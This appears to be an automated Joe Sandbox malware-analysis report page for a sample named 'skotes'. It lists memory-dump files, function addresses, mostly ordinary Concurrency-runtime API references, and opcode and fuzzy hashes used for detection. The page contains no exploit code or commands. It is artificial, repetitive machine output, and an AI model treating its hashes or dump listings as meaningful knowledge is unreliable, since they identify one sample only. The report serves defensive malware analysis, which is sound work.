Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: eb4c57ff3d690fea3509e2aed67899b6b8c30190a0b4f67d55ba3de567bde962
Instruction ID: 5874eb9b0f9fa87e508e226a40d26b70c54112c16b82a38b4c5189984910b406
Opcode Fuzzy Hash: eb4c57ff3d690fea3509e2aed67899b6b8c30190a0b4f67d55ba3de567bde962
Instruction Fuzzy Hash: 13018661B82B1169DB353B755C0EEEB258B8B4BB42F0A2514AC01E7291EFA0CC815561

Function 0062E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0062E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0062E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0062E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0062E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0062E9DC

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 2c63a34fa342e63dd323950b987e078d5a54dfcf23addac583e07115b2affb7c
Instruction ID: fbdc2b78fbb30738f1349811073279e46126714128604e6c8f69f942579f3672
Opcode Fuzzy Hash: 2c63a34fa342e63dd323950b987e078d5a54dfcf23addac583e07115b2affb7c
Instruction Fuzzy Hash: A3416F35A00629EFCB09DF64D554AADB7B6FF48310F04816AE806AB790CB75EE41CF80

Function 0062D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0062D344
ListArray.LIBCONCRT ref: 0062D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0062D370
ListArray.LIBCONCRT ref: 0062D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0062D3B3

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: d5670347acab09782f2f43caf6dbeb46e5c35279b1bb1219be1a7803bf279572
Instruction ID: c3c40d2031716edb0b9ef29e37fdc9b60ebff53bbc54309c767bc4407f1d6244
Opcode Fuzzy Hash: d5670347acab09782f2f43caf6dbeb46e5c35279b1bb1219be1a7803bf279572
Instruction Fuzzy Hash: B831AC35700A20AFCB05DB64E884BADB7A7BF89310F140099E8069B392DB74ED41CF92

Function 006286C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006286EE

Part of subcall function 0061EAD0: _SpinWait.LIBCONCRT ref: 0061EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00628702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00628734
List.LIBCMT ref: 006287B7
List.LIBCMT ref: 006287C6

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: daf92d0d21f236591094ef457cbe013d2c4ebe3c3e07261c5ca6957b40f809a3
Instruction ID: 88f444507453a1a47340593755155da587a255f4efa7439374c0545a0bcb4d3e
Opcode Fuzzy Hash: daf92d0d21f236591094ef457cbe013d2c4ebe3c3e07261c5ca6957b40f809a3
Instruction Fuzzy Hash: 49316936902A66DFCB54EFA4E9816DDB7B2BF14318F28406ED80177652CB31AD04CF98

Function 0063182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006318A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006318EB

Strings

pContext, xrefs: 0063189C

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
